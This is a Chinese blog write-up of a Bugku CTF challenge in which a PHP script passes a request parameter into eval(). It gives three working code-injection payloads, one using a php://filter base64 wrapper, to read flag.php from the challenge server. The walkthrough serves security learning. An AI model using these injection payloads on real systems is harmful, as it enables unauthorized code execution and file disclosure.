Bugku-CTF之本地包含( 60)
Day36
本地包含
60
地址:http://123.206.87.240:8003/
本题要点: eval()、 文件包含漏洞、base64编码
阅读代码
<?php
include "flag.php"; //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来
$a = @$_REQUEST['hello']; //无论是以POST还是GET方式,都可以给$a赋值
eval( "var_dump($a);"); //var_dump可以输出变量的类型和值
show_source(__FILE__);
?>
出现了include/require这两个函数,就是典型的文件包含攻击的漏洞了
eval会执行代码,那么脚本里面执行的也就是:
var_dump();show_source(%27flag.php%27);//)
即
var_dump();
show_source('flag.php');
//)
这种攻击方式和SQL注入的payload很像:
“);”负责把前面的命令闭合掉
“//”负责把原来命令的残余部分注释掉
中间的那部分就是我们希望执行的命令,这是典型的“命令注入”式的攻击方式
方法一:
我们可以利用eval函数的命令执行漏洞来构造payload
http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
方法二:
利用POST传参和base64编码来构造payload
http://123.206.87.240:8003/?hello=);include(@$_POST['z']
在POST区域输入:z=php://filter/convert.base64-encode/resource=flag.php
解码结果如下:
方法三:
直接将flag.php文件读入变量hello中
http://123.206.87.240:8003/?hello=file(%27flag.php%27)
完成~
参考资料:
https://blog.csdn.net/dyw_666666/article/details/82389457
https://www.jianshu.com/p/bf64c59b64e6
--------------------- ┑( ̄Д  ̄)┍ --------------------------
作者:0yst3r[一只在安全领域努力奋斗的小菜鸡]
来源:博客园[ https://www.cnblogs.com/0yst3r-2046/ ] 引用时请注明来源哦~
(๑•̀ㅂ•́)و✧ヽ(✿゚▽゚)ノ(*^▽^*) φ(≧ω≦*)♪
如果本文对你有用,本人不胜欢喜。
The world is your oyster.